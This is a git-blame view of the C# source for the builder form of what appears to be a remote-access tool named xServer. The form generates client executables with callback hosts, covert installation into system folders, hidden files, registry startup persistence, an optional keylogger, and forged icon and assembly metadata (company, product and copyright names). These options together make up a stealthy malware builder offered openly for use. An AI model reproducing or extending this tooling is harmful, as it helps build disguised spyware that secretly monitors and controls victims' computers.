2015-01-27 14:56:52 -08:00
|
|
|
|
using System;
|
2015-08-03 08:33:50 -07:00
|
|
|
|
using System.Collections.Generic;
|
2015-08-03 13:55:40 -07:00
|
|
|
|
using System.ComponentModel;
|
2015-04-09 10:24:56 -07:00
|
|
|
|
using System.IO;
|
2015-08-03 08:33:50 -07:00
|
|
|
|
using System.Linq;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
using System.Windows.Forms;
|
|
|
|
|
using xServer.Core.Build;
|
2015-08-15 07:06:07 -07:00
|
|
|
|
using xServer.Core.Data;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
using xServer.Core.Helper;
|
|
|
|
|
|
|
|
|
|
namespace xServer.Forms
|
|
|
|
|
{
|
|
|
|
|
public partial class FrmBuilder : Form
|
|
|
|
|
{
|
2015-05-26 07:26:04 -07:00
|
|
|
|
private bool _profileLoaded;
|
2015-04-10 12:27:33 -07:00
|
|
|
|
private bool _changed;
|
2015-08-03 13:55:40 -07:00
|
|
|
|
private BindingList<Host> _hosts = new BindingList<Host>();
|
2015-04-10 12:27:33 -07:00
|
|
|
|
|
2015-01-27 14:56:52 -08:00
|
|
|
|
public FrmBuilder()
|
|
|
|
|
{
|
|
|
|
|
InitializeComponent();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void LoadProfile(string profilename)
|
|
|
|
|
{
|
2015-08-15 12:24:45 -07:00
|
|
|
|
var profile = new BuilderProfile(profilename);
|
|
|
|
|
|
|
|
|
|
foreach (var host in HostHelper.GetHostsList(profile.Hosts))
|
2015-08-03 13:55:40 -07:00
|
|
|
|
_hosts.Add(host);
|
2015-08-03 08:33:50 -07:00
|
|
|
|
lstHosts.DataSource = new BindingSource(_hosts, null);
|
2015-08-15 12:24:45 -07:00
|
|
|
|
|
|
|
|
|
txtTag.Text = profile.Tag;
|
|
|
|
|
txtPassword.Text = profile.Password;
|
|
|
|
|
txtDelay.Text = profile.Delay.ToString();
|
|
|
|
|
txtMutex.Text = profile.Mutex;
|
|
|
|
|
chkInstall.Checked = profile.InstallClient;
|
|
|
|
|
txtInstallname.Text = profile.InstallName;
|
|
|
|
|
GetInstallPath(profile.InstallPath).Checked = true;
|
|
|
|
|
txtInstallsub.Text = profile.InstallSub;
|
|
|
|
|
chkHide.Checked = profile.HideFile;
|
|
|
|
|
chkStartup.Checked = profile.AddStartup;
|
|
|
|
|
txtRegistryKeyName.Text = profile.RegistryName;
|
|
|
|
|
chkIconChange.Checked = profile.ChangeIcon;
|
|
|
|
|
chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
|
|
|
|
|
chkKeylogger.Checked = profile.Keylogger;
|
|
|
|
|
txtProductName.Text = profile.ProductName;
|
|
|
|
|
txtDescription.Text = profile.Description;
|
|
|
|
|
txtCompanyName.Text = profile.CompanyName;
|
|
|
|
|
txtCopyright.Text = profile.Copyright;
|
|
|
|
|
txtTrademarks.Text = profile.Trademarks;
|
|
|
|
|
txtOriginalFilename.Text = profile.OriginalFilename;
|
|
|
|
|
txtProductVersion.Text = profile.ProductVersion;
|
|
|
|
|
txtFileVersion.Text = profile.FileVersion;
|
|
|
|
|
|
2015-05-26 07:26:04 -07:00
|
|
|
|
_profileLoaded = true;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void SaveProfile(string profilename)
|
|
|
|
|
{
|
2015-08-15 12:24:45 -07:00
|
|
|
|
var profile = new BuilderProfile(profilename);
|
|
|
|
|
|
|
|
|
|
profile.Tag = txtTag.Text;
|
|
|
|
|
profile.Hosts = HostHelper.GetRawHosts(_hosts);
|
|
|
|
|
profile.Password = txtPassword.Text;
|
|
|
|
|
profile.Delay = int.Parse(txtDelay.Text);
|
|
|
|
|
profile.Mutex = txtMutex.Text;
|
|
|
|
|
profile.InstallClient = chkInstall.Checked;
|
|
|
|
|
profile.InstallName = txtInstallname.Text;
|
|
|
|
|
profile.InstallPath = GetInstallPath();
|
2015-08-22 16:48:29 -07:00
|
|
|
|
profile.InstallSub = txtInstallsub.Text;
|
2015-08-15 12:24:45 -07:00
|
|
|
|
profile.HideFile = chkHide.Checked;
|
|
|
|
|
profile.AddStartup = chkStartup.Checked;
|
|
|
|
|
profile.RegistryName = txtRegistryKeyName.Text;
|
|
|
|
|
profile.ChangeIcon = chkIconChange.Checked;
|
|
|
|
|
profile.ChangeAsmInfo = chkChangeAsmInfo.Checked;
|
|
|
|
|
profile.Keylogger = chkKeylogger.Checked;
|
|
|
|
|
profile.ProductName = txtProductName.Text;
|
|
|
|
|
profile.Description = txtDescription.Text;
|
|
|
|
|
profile.CompanyName = txtCompanyName.Text;
|
|
|
|
|
profile.Copyright = txtCopyright.Text;
|
|
|
|
|
profile.Trademarks = txtTrademarks.Text;
|
|
|
|
|
profile.OriginalFilename = txtOriginalFilename.Text;
|
|
|
|
|
profile.ProductVersion = txtProductVersion.Text;
|
|
|
|
|
profile.FileVersion = txtFileVersion.Text;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmBuilder_Load(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
LoadProfile("Default");
|
|
|
|
|
|
2015-08-15 11:13:52 -07:00
|
|
|
|
txtPort.Text = Settings.ListenPort.ToString();
|
2015-01-27 14:56:52 -08:00
|
|
|
|
|
2015-08-09 06:29:49 -07:00
|
|
|
|
UpdateControlStates();
|
2015-01-27 14:56:52 -08:00
|
|
|
|
|
|
|
|
|
ToggleAsmInfoControls();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
|
|
|
|
|
{
|
2015-04-21 11:27:52 -07:00
|
|
|
|
if (_changed &&
|
2015-08-15 12:24:45 -07:00
|
|
|
|
MessageBox.Show("Do you want to save your current settings?", "Changes detected",
|
2015-04-21 11:27:52 -07:00
|
|
|
|
MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
|
|
|
|
SaveProfile("Default");
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-08-03 08:33:50 -07:00
|
|
|
|
private void btnAddHost_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (txtHost.Text.Length < 1 || txtPort.Text.Length < 1) return;
|
|
|
|
|
|
|
|
|
|
HasChanged();
|
|
|
|
|
|
|
|
|
|
var host = txtHost.Text;
|
|
|
|
|
ushort port;
|
|
|
|
|
if (!ushort.TryParse(txtPort.Text, out port))
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show("Please enter a valid port.", "Builder",
|
|
|
|
|
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
_hosts.Add(new Host {Hostname = host, Port = port});
|
|
|
|
|
txtHost.Text = "";
|
|
|
|
|
txtPort.Text = "";
|
|
|
|
|
}
|
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
#region "Context Menu"
|
2015-08-03 08:33:50 -07:00
|
|
|
|
private void ctxtRemove_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
List<string> selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList();
|
2015-08-03 08:33:50 -07:00
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
foreach (var item in selectedHosts)
|
2015-08-03 08:33:50 -07:00
|
|
|
|
{
|
|
|
|
|
foreach (var host in _hosts)
|
|
|
|
|
{
|
|
|
|
|
if (item == host.ToString())
|
|
|
|
|
{
|
|
|
|
|
_hosts.Remove(host);
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-08-03 13:55:40 -07:00
|
|
|
|
}
|
2015-08-03 08:33:50 -07:00
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
private void ctxtClear_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
HasChanged();
|
|
|
|
|
|
|
|
|
|
_hosts.Clear();
|
2015-08-03 08:33:50 -07:00
|
|
|
|
}
|
2015-08-03 13:55:40 -07:00
|
|
|
|
#endregion
|
2015-08-03 08:33:50 -07:00
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
#region "Misc"
|
2015-01-27 14:56:52 -08:00
|
|
|
|
private void chkShowPass_CheckedChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•';
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtPort_KeyPress(object sender, KeyPressEventArgs e)
|
|
|
|
|
{
|
2015-06-01 09:50:20 -07:00
|
|
|
|
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtDelay_KeyPress(object sender, KeyPressEventArgs e)
|
|
|
|
|
{
|
2015-05-23 21:38:58 -07:00
|
|
|
|
e.Handled = (!char.IsControl(e.KeyChar) && !char.IsDigit(e.KeyChar));
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
|
|
|
|
|
{
|
2015-07-25 15:10:59 -07:00
|
|
|
|
e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
|
2015-06-01 09:50:20 -07:00
|
|
|
|
!char.IsControl(e.KeyChar));
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
|
|
|
|
|
{
|
2015-07-25 15:10:59 -07:00
|
|
|
|
e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
|
2015-06-01 09:50:20 -07:00
|
|
|
|
!char.IsControl(e.KeyChar));
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void btnMutex_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-04-10 12:27:33 -07:00
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
txtMutex.Text = FormatHelper.GenerateMutex();
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void chkInstall_CheckedChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-04-10 12:27:33 -07:00
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-05-23 21:27:29 -07:00
|
|
|
|
UpdateControlStates();
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void chkStartup_CheckedChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-04-10 12:27:33 -07:00
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-01-27 14:56:52 -08:00
|
|
|
|
txtRegistryKeyName.Enabled = chkStartup.Checked;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-04-10 12:27:33 -07:00
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-01-27 14:56:52 -08:00
|
|
|
|
ToggleAsmInfoControls();
|
|
|
|
|
}
|
2015-08-03 13:55:40 -07:00
|
|
|
|
#endregion
|
2015-01-27 14:56:52 -08:00
|
|
|
|
|
|
|
|
|
private void btnBuild_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
|
2015-08-28 03:45:57 -07:00
|
|
|
|
_hosts.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
|
2015-08-24 11:35:53 -07:00
|
|
|
|
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text)) && // Installation
|
2015-08-22 13:47:51 -07:00
|
|
|
|
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-04-07 11:07:42 -07:00
|
|
|
|
string output = string.Empty;
|
|
|
|
|
string icon = string.Empty;
|
2015-08-27 14:09:25 -07:00
|
|
|
|
string password = txtPassword.Text;
|
|
|
|
|
|
|
|
|
|
if (password.Length < 3)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show("Please enter a secure password with more than 3 characters.",
|
|
|
|
|
"Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
|
|
|
return;
|
|
|
|
|
}
|
2015-04-07 11:07:42 -07:00
|
|
|
|
|
|
|
|
|
if (chkIconChange.Checked)
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-04-07 11:07:42 -07:00
|
|
|
|
using (OpenFileDialog ofd = new OpenFileDialog())
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
ofd.Title = "Choose Icon";
|
2015-04-07 11:07:42 -07:00
|
|
|
|
ofd.Filter = "Icons *.ico|*.ico";
|
|
|
|
|
ofd.Multiselect = false;
|
|
|
|
|
if (ofd.ShowDialog() == DialogResult.OK)
|
|
|
|
|
icon = ofd.FileName;
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-01-27 14:56:52 -08:00
|
|
|
|
|
2015-04-07 11:07:42 -07:00
|
|
|
|
using (SaveFileDialog sfd = new SaveFileDialog())
|
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
sfd.Title = "Save Client as";
|
|
|
|
|
sfd.Filter = "Executables *.exe|*.exe";
|
2015-05-26 13:02:18 -07:00
|
|
|
|
sfd.RestoreDirectory = true;
|
2015-04-07 11:07:42 -07:00
|
|
|
|
sfd.FileName = "Client-built.exe";
|
2015-08-22 13:47:51 -07:00
|
|
|
|
if (sfd.ShowDialog() != DialogResult.OK) return;
|
|
|
|
|
output = sfd.FileName;
|
2015-04-07 11:07:42 -07:00
|
|
|
|
}
|
2015-01-27 14:56:52 -08:00
|
|
|
|
|
2015-08-22 13:47:51 -07:00
|
|
|
|
if (string.IsNullOrEmpty(output))
|
2015-04-07 11:07:42 -07:00
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (chkIconChange.Checked && string.IsNullOrEmpty(icon))
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
string[] asmInfo = null;
|
|
|
|
|
if (chkChangeAsmInfo.Checked)
|
2015-04-07 11:07:42 -07:00
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) ||
|
|
|
|
|
!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-08-22 13:47:51 -07:00
|
|
|
|
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Build failed",
|
|
|
|
|
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|
|
|
|
return;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
2015-04-09 10:24:56 -07:00
|
|
|
|
|
2015-08-22 13:47:51 -07:00
|
|
|
|
asmInfo = new string[8];
|
|
|
|
|
asmInfo[0] = txtProductName.Text;
|
|
|
|
|
asmInfo[1] = txtDescription.Text;
|
|
|
|
|
asmInfo[2] = txtCompanyName.Text;
|
|
|
|
|
asmInfo[3] = txtCopyright.Text;
|
|
|
|
|
asmInfo[4] = txtTrademarks.Text;
|
|
|
|
|
asmInfo[5] = txtOriginalFilename.Text;
|
|
|
|
|
asmInfo[6] = txtProductVersion.Text;
|
|
|
|
|
asmInfo[7] = txtFileVersion.Text;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
2015-08-22 13:47:51 -07:00
|
|
|
|
|
2015-08-27 14:05:07 -07:00
|
|
|
|
ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), password, txtInstallsub.Text,
|
2015-08-22 13:47:51 -07:00
|
|
|
|
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
|
|
|
|
|
chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
|
2015-08-27 06:40:03 -07:00
|
|
|
|
Application.ProductVersion);
|
2015-08-22 13:47:51 -07:00
|
|
|
|
|
|
|
|
|
MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
|
|
|
|
|
MessageBoxIcon.Information);
|
|
|
|
|
}
|
|
|
|
|
catch (FileLoadException)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
|
|
|
|
|
"Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show(
|
|
|
|
|
string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
|
|
|
|
|
ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
else
|
2015-08-22 13:47:51 -07:00
|
|
|
|
MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
|
2015-04-21 11:27:52 -07:00
|
|
|
|
MessageBoxIcon.Information);
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
private void RefreshExamplePath()
|
|
|
|
|
{
|
|
|
|
|
string path = string.Empty;
|
|
|
|
|
if (rbAppdata.Checked)
|
|
|
|
|
path =
|
|
|
|
|
Path.Combine(
|
|
|
|
|
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
|
|
|
|
txtInstallsub.Text), txtInstallname.Text);
|
|
|
|
|
else if (rbProgramFiles.Checked)
|
|
|
|
|
path =
|
|
|
|
|
Path.Combine(
|
2015-08-28 04:11:05 -07:00
|
|
|
|
Path.Combine(
|
|
|
|
|
Environment.GetFolderPath(PlatformHelper.Architecture == 64
|
|
|
|
|
? Environment.SpecialFolder.ProgramFilesX86
|
|
|
|
|
: Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text);
|
2015-08-03 13:55:40 -07:00
|
|
|
|
else if (rbSystem.Checked)
|
|
|
|
|
path =
|
|
|
|
|
Path.Combine(
|
2015-08-28 04:11:05 -07:00
|
|
|
|
Path.Combine(
|
|
|
|
|
Environment.GetFolderPath(PlatformHelper.Architecture == 64
|
|
|
|
|
? Environment.SpecialFolder.SystemX86
|
|
|
|
|
: Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
|
2015-08-03 13:55:40 -07:00
|
|
|
|
|
|
|
|
|
this.Invoke((MethodInvoker)delegate { txtExamplePath.Text = path + ".exe"; });
|
|
|
|
|
}
|
|
|
|
|
|
2015-08-15 12:24:45 -07:00
|
|
|
|
private short GetInstallPath()
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
|
|
|
|
if (rbAppdata.Checked) return 1;
|
|
|
|
|
if (rbProgramFiles.Checked) return 2;
|
|
|
|
|
if (rbSystem.Checked) return 3;
|
2015-08-26 06:00:39 -07:00
|
|
|
|
throw new ArgumentException("InstallPath");
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
|
2015-08-15 12:24:45 -07:00
|
|
|
|
private RadioButton GetInstallPath(short installPath)
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
|
|
|
|
switch (installPath)
|
|
|
|
|
{
|
|
|
|
|
case 1:
|
|
|
|
|
return rbAppdata;
|
|
|
|
|
case 2:
|
|
|
|
|
return rbProgramFiles;
|
|
|
|
|
case 3:
|
|
|
|
|
return rbSystem;
|
|
|
|
|
default:
|
2015-08-26 06:00:39 -07:00
|
|
|
|
throw new ArgumentException("InstallPath");
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ToggleAsmInfoControls()
|
|
|
|
|
{
|
2015-04-21 11:27:52 -07:00
|
|
|
|
this.Invoke((MethodInvoker) delegate
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-07-24 15:29:19 -07:00
|
|
|
|
foreach (Control ctrl in assemblyPage.Controls)
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-08-03 13:55:40 -07:00
|
|
|
|
var label = ctrl as Label;
|
|
|
|
|
if (label != null)
|
|
|
|
|
{
|
|
|
|
|
label.Enabled = chkChangeAsmInfo.Checked;
|
|
|
|
|
continue;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var box = ctrl as TextBox;
|
|
|
|
|
if (box != null)
|
|
|
|
|
box.Enabled = chkChangeAsmInfo.Checked;
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
|
2015-08-03 13:55:40 -07:00
|
|
|
|
private void HasChanged()
|
2015-01-27 14:56:52 -08:00
|
|
|
|
{
|
2015-08-03 13:55:40 -07:00
|
|
|
|
if (!_changed && _profileLoaded)
|
|
|
|
|
_changed = true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void UpdateControlStates()
|
|
|
|
|
{
|
|
|
|
|
txtInstallname.Enabled = chkInstall.Checked;
|
|
|
|
|
rbAppdata.Enabled = chkInstall.Checked;
|
|
|
|
|
rbProgramFiles.Enabled = chkInstall.Checked;
|
|
|
|
|
rbSystem.Enabled = chkInstall.Checked;
|
|
|
|
|
txtInstallsub.Enabled = chkInstall.Checked;
|
|
|
|
|
chkHide.Enabled = chkInstall.Checked;
|
|
|
|
|
chkStartup.Enabled = chkInstall.Checked;
|
|
|
|
|
txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked);
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
2015-04-10 12:27:33 -07:00
|
|
|
|
|
2015-05-31 21:04:09 -07:00
|
|
|
|
/// <summary>
|
|
|
|
|
/// Handles a basic change in setting.
|
|
|
|
|
/// </summary>
|
|
|
|
|
private void HasChangedSetting(object sender, EventArgs e)
|
2015-04-10 12:27:33 -07:00
|
|
|
|
{
|
|
|
|
|
HasChanged();
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-31 21:04:09 -07:00
|
|
|
|
/// <summary>
|
|
|
|
|
/// Handles a basic change in setting, also refreshing the example file path.
|
|
|
|
|
/// </summary>
|
|
|
|
|
private void HasChangedSettingAndFilePath(object sender, EventArgs e)
|
2015-04-10 12:27:33 -07:00
|
|
|
|
{
|
|
|
|
|
HasChanged();
|
|
|
|
|
|
2015-05-31 21:04:09 -07:00
|
|
|
|
RefreshExamplePath();
|
2015-05-04 09:29:21 -07:00
|
|
|
|
}
|
2015-01-27 14:56:52 -08:00
|
|
|
|
}
|
2015-04-21 11:27:52 -07:00
|
|
|
|
}
|